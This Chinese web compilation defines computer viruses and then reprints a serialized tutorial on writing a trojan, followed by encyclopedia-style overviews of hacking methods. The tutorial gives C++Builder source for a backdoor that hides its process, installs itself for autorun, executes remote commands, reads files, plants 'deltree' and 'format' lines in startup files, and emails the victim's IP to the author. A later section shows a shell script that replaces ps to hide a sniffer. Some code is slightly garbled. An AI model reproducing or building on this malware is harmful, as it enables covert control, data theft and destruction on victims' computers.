什么是黑客?什么是电脑病毒?是怎么作的?
什么是计算机病毒
计算机病毒是一个程序,一段可执行码。就像生物病毒一样,计算机病毒有独特的复制能力。计算机病毒可以很快地蔓
延,又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时,它们就随
同文件一起蔓延开来。
除复制能力外,某些计算机病毒还有其它一些共同特性:一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎
仅仅表现在文字和图象上时,它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。若是病毒并不
寄生于一个污染程序,它仍然能通过占据存贮空间给你带来麻烦,并降低你的计算机的全部性能。
可以从不同角度给出计算机病毒的定义。一种定义是通过磁盘、磁带和网络等作为媒介传播扩散,能“传染” 其他程序
的程序。另一种是能够实现自身复制且借助一定的载体存在的具有潜伏性、传染性和破坏性的程序。还有的定义是一种人为
制造的程序,它通过不同的途径潜伏或寄生在存储媒体(如磁盘、内存)或程序里。当某种条件或时机成熟时,它会自生复制
并传播,使计算机的资源受到不同程序的破坏等等。这些说法在某种意义上借用了生物学病毒的概念,计算机病毒同生物病毒
所相似之处是能够侵入计算机系统和网络,危害正常工作的“病原体”。它能够对计算机系统进行各种破坏,同时能够自我复
制, 具有传染性。
所以, 计算机病毒就是能够通过某种途径潜伏在计算机存储介质(或程序)里, 当达到某种条件时即被激活的具有对计
算机资源进行破坏作用的一组程序或指令集合。
参考:http://www.eduboss.com/pages/winfile/FaQ/bingdu.html
木马是如何编写的(一)
武汉 周侃
特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。
我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。
自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?
启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。
我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。
首先判断目标机的操作系统是Win9x还是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion = 0x80000000)
// 操作系统是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
file://定义RegisterServiceProcess()函数的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
file://得到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
file://执行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL);
file://卸载动态链接库
}
}
这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:
{
char TempPath[MAX_PATH];
file://定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
file://TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
file://格式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);
file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来
Registry=new TRegistry;
file://定义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry-RootKey=HKEY_LOCAL_MACHINE;
file://设置主键为HKEY_LOCAL_MACHINE
Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之
try
{
file://如果以下语句发生异常,跳至catch,以避免程序崩溃
if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");
file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe
file://如果不是,就写入以上键值和内容
}
catch(...)
{
file://如果有错误,什么也不做
}
}
好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。
接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。
再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
file://定义了一堆待会儿要用到的变量
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());
file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用
AnsiString temp=Socket-ReceiveText();
file://接收客户端(攻击者,也就是你自己)传来的数据
}
好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:
{
if(temp.SubString(0,9)=="edit conf")
file://如果接受到的字符串的前9个字符是“edit conf”
{
int number=temp.Length();
file://得到字符串的长度
int file_name=atoi((temp.SubString(11,1)).c_str());
file://将第11个字符转换成integer型,存入file_name变量
file://为什么要取第11个字符,因为第10个字符是空格字符
content=(temp.SubString(12,number-11)+'\n').c_str();
file://余下的字符串将被作为写入的内容写入目标文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat",S_IREADS_IWRITE);
chmod("c:\\config.sys",S_IREADS_IWRITE);
file://将两个目标文件的属性改为可读可写
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
file://如果第11个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
file://如果第11个字符是1,就把Config.sys格式化
times_of_try=0;
file://定义计数器
while(fp==NULL)
{
file://如果指针是空
fp=fopen(filename,"a+");
file://如果文件不存在,创建之;如果存在,准备在其后添加
file://如果出错,文件指针为空,这样就会重复
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://跳至END处
}
}
fwrite(content,sizeof(char),strlen(content),fp);
file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
fclose(fp);
file://写完后关闭目标文件
Socket-SendText("Sucess");
file://然后发回“Success”的成功信息
}
}
上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:
{
else if(temp.SubString(0,3)=="dir")
{
file://如果前3个字符是“dir”
int Read_Num;
char * CR_LF="\n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
file://得到字符串的长度
AnsiString Dir_Name=temp.SubString(5,number-3);
file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名
if(Dir_Name=="")
{
file://如果目录名为空
Socket-SendText("Fail By Open DIR's Name");
file://返回“Fail By Open DIR's Name”信息
goto END;
file://跳到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
file://如果打开目录出错
Socket-SendText("Fail by your DIR's name!");
file://返回“Fail By Your DIR's Name”信息
goto END;
file://跳到END
}
times_of_try=0;
while(fp==NULL)
{
file://如果指针是NULL
fp=fopen(TempFile,"w+");
file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功(真有耐心!)
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
while ((ent = readdir(dir)) != NULL)
{
file://如果访问目标目录成功
if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
file://如果最后一个字符不是“\”,证明不是根目录
filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();
file://加上“\”字符后将指针指向目录流
else
filename=(AnsiString(dirname)+ent-d_name).c_str();
file://如果是根目录,则不用加“\”
attrib=_rtl_chmod(filename, 0);
file://得到目标文件的访问属性
if (attrib FA_RDONLY)
file://“”字符是比较前后两个变量,如果相同返回1,否则返回0
fwrite(" R",sizeof(char),3,fp);
file://将目标文件属性设为只读
else
fwrite(" ",sizeof(char),3,fp);
file://失败则写入空格
if (attrib FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
file://将目标文件属性设为隐藏
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_SYSTEM)
fwrite("S",sizeof(char),1,fp);
file://将目标文件属性设为系统
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_ARCH)
fwrite("A",sizeof(char),1,fp);
file://将目标文件属性设为普通
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_DIREC)
fwrite(" DIR ",sizeof(char),9,fp);
file://将目标文件属性设为目录
else
fwrite(" ",sizeof(char),9,fp);
file://失败则写入空格
fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);
file://将目录名写入目标文件
fwrite(CR_LF,1,1,fp);
file://写入换行
}
fclose(fp);
file://关闭文件
closedir(dir);
file://关闭目录
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,"r");
file://打开Win369.bat准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义的一个空数组
Read_Num=fread(temp_content,1,300,fp1);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
file://Return_Text变量加上刚才的300个字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp1);
file://重复
};
Return_Text=Return_Text+temp_content;
file://Return_Text变量加上刚才的300个字符
fclose(fp1);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text变量的内容
}
}
够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):
{
else if(temp.SubString(0,4)=="type")
{
file://如果前4个字符是“type”
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
file://将目标文件流存入File_Name变量中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),"r");
file://打开目标文件准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已试了100次了
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的错误信息
goto END;
file://跳到END
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义一个空数组
Read_Num=fread(temp_content,1,300,fp);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
file://Return_Text的内容加上刚才的字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp);
file://重复
};
Return_Text=Return_Text+temp_content;
file://Return_Text的内容加上刚才的字符
fclose(fp);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text的内容,即你查看文件的内容
}
}
咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):
{
else if(temp=="open")
{
file://如果收到的temp的内容是“open”
mciSendString("set cdaudio door open", NULL, 0, NULL);
file://就弹出光驱的托盘
}
else if(temp=="close")
{
file://如果收到的temp的内容是“close”
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^
}
}
接着就是交换目标机的鼠标左右键,代码如下:
{
else if(temp=="swap")
{
SwapMouseButton(1);
file://交换鼠标左右键,简单吧?
}
}
然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:
{
else if(temp=="reboot")
{
file://如果收到的temp的内容是“temp”
DWORD dwVersion = GetVersion();
file://得到操作系统的版本号
if (dwVersion 0x80000000)
{
file://操作系统是WinNt,不是Win9x
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
file://定义变量
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);
file://OpenProcessToken()这个函数的作用是打开一个进程的访问令牌
file://GetCurrentProcess()函数的作用是得到本进程的句柄
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);
file://LookupPrivilegeValue()的作用是修改进程的权限
tkp.PrivilegeCount = 1;
file://赋给本进程特权
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
file://AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利
ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);
file://强行退出WinNt并重启
}
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
file://强行退出Win9x并重启
}
}
如果以上都不是,就让它在Dos窗口中执行传来的命令:
{
else
{
file://如果都不是
char * CR_TF="\n";
times_of_try=0;
while(fp==NULL)
{
fp=fopen(TempFile,"w+");
file://创建Win369.bat,如果已存在就覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的信息
goto END;
file://跳到END
}
}
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
file://写入欲执行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
file://写入换行符
fclose(fp);
file://关闭Win369.bat
system(TempFile);
file://执行Win369.bat
Socket-SendText("Success");
file://返回“Success”信息
}
}
你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^
到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)
木马是如何编写的(三)
武汉 周侃
上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):
{
END:;
Socket-Close();
file://关闭服务
ServerSocket1-Active =true;
file://再次打开服务
if (NMSMTP1-Connected) NMSMTP1-Disconnect();
file://如果SMTP服务器已连接则断开
NMSMTP1-Host = "smtp.163.net";
file://选一个好用的SMTP服务器,如163、263、sina和btamail
NMSMTP1-UserID = "";
file://你SMTP的ID
try
{
NMSMTP1-Connect();
file://再次连接
}
catch(...)
{
goto NextTime;
file://跳到NextTime
}
NMSMTP1-PostMessage-FromAddress ="I don't know!";
file://受害者的Email地址
NMSMTP1-PostMessage-FromName = "Casualty";
file://受害者的名字
NMSMTP1-PostMessage-ToAddress-Text = "crossbow@8848.net";
file://将信发到我的邮箱,这一步很关键
NMSMTP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NMSMTP1-LocalIP ;
file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接
NMSMTP1-PostMessage-Subject = "Server Runn
什么是黑客攻击?为什么要攻击?怎么攻击的?
黑客攻击
开放分类: 电脑、技术类、军事类
---------------解释1-------------------
一、黑客常用攻击手段
黑客攻击手段可分为非破坏性攻击和破坏性攻击两类。非破坏性攻击一般是为了扰乱系统的运行,并不盗窃系统资料,通常采用拒绝服务攻击或信息炸弹;破坏性攻击是以侵入他人电脑系统、盗窃系统保密信息、破坏目标系统的数据为目的。下面为大家介绍4种黑客常用的攻击手段(小编注:密码破解当然也是黑客常用的攻击手段之一)。
1、后门程序
由于程序员设计一些功能复杂的程序时,一般采用模块化的程序设计思想,将整个项目分割为多个功能模块,分别进行设计、调试,这时的后门就是一个模块的秘密入口。在程序开发阶段,后门便于测试、更改和增强模块功能。正常情况下,完成设计之后需要去掉各个模块的后门,不过有时由于疏忽或者其他原因(如将其留在程序中,便于日后访问、测试或维护)后门没有去掉,一些别有用心的人会利用穷举搜索法发现并利用这些后门,然后进入系统并发动攻击。
2、信息炸弹
信息炸弹是指使用一些特殊工具软件,短时间内向目标服务器发送大量超出系统负荷的信息,造成目标服务器超负荷、网络堵塞、系统崩溃的攻击手段。比如向未打补丁的 Windows 95系统发送特定组合的 UDP 数据包,会导致目标系统死机或重启;向某型号的路由器发送特定数据包致使路由器死机;向某人的电子邮件发送大量的垃圾邮件将此邮箱“撑爆”等。目前常见的信息炸弹有邮件炸弹、逻辑炸弹等。
3、拒绝服务
拒绝服务又叫分布式D.O.S攻击,它是使用超出被攻击目标处理能力的大量数据包消耗系统可用系统、带宽资源,最后致使网络服务瘫痪的一种攻击手段。作为攻击者,首先需要通过常规的黑客手段侵入并控制某个网站,然后在服务器上安装并启动一个可由攻击者发出的特殊指令来控制进程,攻击者把攻击对象的IP地址作为指令下达给进程的时候,这些进程就开始对目标主机发起攻击。这种方式可以集中大量的网络服务器带宽,对某个特定目标实施攻击,因而威力巨大,顷刻之间就可以使被攻击目标带宽资源耗尽,导致服务器瘫痪。比如1999年美国明尼苏达大学遭到的黑客攻击就属于这种方式。
4、网络监听
网络监听是一种监视网络状态、数据流以及网络上传输信息的管理工具,它可以将网络接口设置在监听模式,并且可以截获网上传输的信息,也就是说,当黑客登录网络主机并取得超级用户权限后,若要登录其他主机,使用网络监听可以有效地截获网上的数据,这是黑客使用最多的方法,但是,网络监听只能应用于物理上连接于同一网段的主机,通常被用做获取用户口令。
二、黑客攻击的目的
一、进程的执行
攻击者在登上了目标主机后,或许只是运行了一些简单的程序,也可能这些程序是无伤大雅的,仅仅只是消耗了一些系统的CPU时间。
但是事情并不如此简单,我们都知道,有些程序只能在一种系统中运行,到了另一个系统将无法运行。一个特殊的例子就是一些扫描只能在UNIX系统中运行,在这种情况下,攻击者为了攻击的需要,往往就会找一个中间站点来运行所需要的程序,并且这样也可以避免暴露自己的真实目的所在。即使被发现了,也只能找到中间的站点地址。
在另外一些情况下,假使有一个站点能够访问另一个严格受控的站点或网络,为了攻击这个站点或网络,入侵者可能就会先攻击这个中间的站点。这种情况对被攻击的站点或网络本身可能不会造成破坏,但是潜在的危险已经存在。首先,它占有了大量的处理器的时间,尤其在运行一个网络监听软件时,使得一个主机的响应时间变得非常的长。另外,从另一个角度来说,将严重影响目标主机的信任度。因为入侵者借助于目标主机对目标主机能够访问,而且严格受控的站点或进行攻击。当造成损失时,责任会转嫁到目标主机的管理员身上,后果是难以估计的。可能导致目标主机损失一些受信任的站点或网络。再就是,可能人民者将一笔账单转嫁到目标主机上,这在网上获取收费信息是很有可能的。
二、获取文件和传输中的数据
攻击者的目标就是系统中的重要数据,因此攻击者通过登上目标主机,或是使用网络监听进行攻击事实上,即使连入侵者都没有确定要于什么时,在一般情况下,他会将当前用户目录下的文件系统中的/etc/hosts或/etc/passwd复制回去。
三、获取超级用户的权限
具有超级用户的权限,意味着可以做任何事情,这对入侵者无疑是一个莫大的诱惑。在UNIX系统中支持网络监听程序必需有这种权限,因此在一个局域网中,掌握了一台主机的超级用户权限,才可以说掌握了整个子网。
四、对系统的非法访问
有许多的系统是不允许其他的用户访问的,比如一个公司、组织的网络。因此,必须以一种非常的行为来得到访问的权力。这种攻击的目的并不一定要做什么,或许只是为访问面攻击。在一个有许多windows95
的用户网络中,常常有许多的用户把自己的目录共享出未,于是别人就可以从容地在这些计算机上浏览、寻找自己感兴趣的东西,或者删除更换文件。或许通过攻击来证明自己技术的行为才是我们想像中的黑客行径,毕竟,谁都不喜欢些专门搞破坏,或者给别人带来麻烦的入侵者。但是,这种非法访问的的黑客行为,人们也不喜欢的。
五、进行不许可的操作
有时候,用户被允许访问某些资源,但通常受到许多的限制。在一个UNIX系统中没有超级用户的权限,许多事情将无法做,于是有了一个普通的户头,总想得到一个更大权限。在windowsNT系统中一样,系统中隐藏的秘密太多了,人们总经不起诱惑。例如网关对一些站点的访问进行严格控制等。许多的用户都有意无意地去尝试尽量获取超出允许的一些权限,于是便寻找管理员在置中的漏洞,或者去找一些工具来突破系统的安全防线,例如,特洛伊木马就是一种使用多的手段。
六、拒绝服务
同上面的目的进行比较,拒绝服务便是一种有目的的破坏行为了。拒绝服务的方式很多,如将连接局域网的电缆接地;向域名服务器发送大量的无意义的请求,使得它无法完成从其他的主机来的名字解析请求;制造网络风暴,让网络中充斥大量的封包,占据网络的带宽,延缓网络的传输。
七、涂改信息
涂改信息包括对重要文件的修改、更换,删除,是一种很恶劣的攻击行为。不真实的或者错误的信息都将对用户造成很大的损失。
八、暴露信息
入侵的站点有许多重要的信息和数据可以用。攻击者若使用一些系统工具往往会被系统记录下来如果直接发给自己的站点也会暴露自己的身份和地址,于是窃取信息时,攻击者往往将这些信息和数据送到一个公开的FTP站点,或者利用电子邮件寄往一个可以拿到的地方,等以后再从这些地方取走。
这样做可以很好隐藏自己。将这些重要的信息发往公开的站点造成了信息的扩散,由于那些公开的站点常常会有许多人访问,其他的用户完全有可能得到这些情息,并再次扩散出去。
三、黑客攻击的工具
(一)
应该说,黑客很聪明,但是他们并不都是天才,他们经常利用别人在安全领域广泛使用的工具和技术。一般来说。他们如果不自己设计工具,就必须利用现成的工具。在网上,这种工具很多,从SATAN、ISS到非常短小实用的各种网络监听工具。
在一个UNIX系统中,当入侵完成后,系统设置了大大小小的漏洞,完全清理这些漏洞是很困难的,这时候只能重装系统了。当攻击者在网络中进行监听,得到一些用户的口令以后,只要有一个口令没有改变,那么系统仍然是不安全的,攻击者在任何时候都可以重新访问这个网络。
对一个网络,困难在于登上目标主机。当登上去以后有许多的办法可以用。即使攻击者不做任何事,他仍然可以得到系统的重要信息,并扩散出去,例如:将系统中的hosts文件发散出去。严重的情况是攻击者将得到的以下口令文件放在网络上进行交流。每个工具由于其特定的设计都有各自独特的限制,因此从使用者的角度来看,所有使用的这种工具进行的攻击基本相同。例如目标主机是一台运行SunOS4.1.3的SAPRC工作站,那么所有用Strobe工具进行的攻击,管理员听见到的现象可能完全是一样的。了解这些标志是管理员教育的一个重要方面。
对一个新的入侵者来说,他可能会按这些指导生硬地进行攻击,但结果经常令他失望。因为一些攻击方法已经过时了(系统升级或打补丁进行入侵只会浪费时间),而且这些攻击会留下攻击者的痕迹。事实上,管理员可以使用一些工具,或者一些脚本程序,让它们从系统日志中抽取有关入侵者的信息。这些程序只需具备很强的搜索功能即可(如Perl语言就很适合做这件事了)。
(二)
当然这种情况下,要求系统日志没有遭到入侵。随着攻击者经验的增长、他们开始研究一整套攻击的特殊方法,其中一些方法与攻击者的习惯有关。由于攻击者意识到了一个工具除了它的直接用途之外,还有其他的用途,在这些攻击中使用一种或多种技术来达到目的,这种类型的攻击称为混合攻击。
攻击工具不局限于专用工具,系统常用的网络工具也可以成为攻击的工具,例如:要登上目标主机,便要用到telnet与rlogin等命令,对目标主机进行侦察,系统中有许多的可以作为侦察的工具,如finger和showmount。甚至自己可以编写一些工具,这并不是一件很难的事。其发回,如当服务器询问用户名时,黑客输入分号。这是一个UNIX命令,意思是发送一个命令、一些HTTP服务器就会将用户使用的分号过滤掉。入侵者将监听程序安装在UNIX服务器上,对登录进行监听,例如监听23、21等端口。
(三)
通过用户登录,把所监听到的用户名和口令保存起来,于是黑客就得到了账号和口令,在有大量的监听程序可以用,甚至自己可以编写一个监听程序。监听程序可以在windows95和windowsNT中运行。
除了这些工具以外,入侵者还可以利用特洛伊木马程序。例如:攻击者运行了一个监听程序,但有时不想让别人从ps命令中看到这个程序在执行(即使给这个程序改名,它的特殊的运行参数也能使系统管理员一眼看出来这是一个网络监听程序)。
攻击者可以将ps命令移到一个目录或换名,例如换成pss,再写一个shell程序,给这个shell程序起名为ps,放到ps所在的目录中:
#! /bin/ksh
pss-ef|grep-vsniffit|grep-vgrep
以后,当有人使用ps命令时,就不会发现有人在使用网络监听程序。这是一个简单的特洛伊木马程序。
另外,蠕虫病毒也可以成为网络攻击的工具,它虽然不修改系统信息,但它极大地延缓了网络的速度,给人们带来了麻烦。
---------------解释2-------------------
随着互联网黑客技术的飞速发展,网络世界的安全性不断受到挑战。对于黑客自身来说,要闯入大部分人的电脑实在是太容易了。如果你要上网,就免不了遇到黑客。所以必须知己知彼,才能在网上保持安全。那么黑客们有哪些常用攻击手段呢?
一、获取口令
这种方式有三种方法:一是缺省的登录界面(ShellScripts)攻击法。在被攻击主机上启动一个可执行程序,该程序显示一个伪造的登录界面。当用户在这个伪装的界面上键入登录信息(用户名、密码等)后,程序将用户输入的信息传送到攻击者主机,然后关闭界面给出提示信息“系统故障”,要求用户重新登录。此后,才会出现真正的登录界面。二是通过网络监听非法得到用户口令,这类方法有一定的局限性,但危害性极大,监听者往往能够获得其所在网段的所有用户账号和口令,对局域网安全威胁巨大;三是在知道用户的账号后(如电子邮件“@”前面的部分)利用一些专门软件强行破解用户口令,这种方法不受网段限制,但黑客要有足够的耐心和时间;尤其对那些口令安全系数极低的用户,只要短短的一两分钟,甚至几十秒内就可以将其破解。
二、电子邮件攻击
这种方式一般是采用电子邮件炸弹(E-mailBomb),是黑客常用的一种攻击手段。指的是用伪造的IP地址和电子邮件地址向同一信箱发送数以千计、万计甚至无穷多次的内容相同的恶意邮件,也可称之为大容量的垃圾邮件。由于每个人的邮件信箱是有限的,当庞大的邮件垃圾到达信箱的时候,就会挤满信箱,把正常的邮件给冲掉。同时,因为它占用了大量的网络资源,常常导致网络塞车,使用户不能正常地工作,严重者可能会给电子邮件服务器操作系统带来危险,甚至瘫痪。
三、特洛伊木马攻击
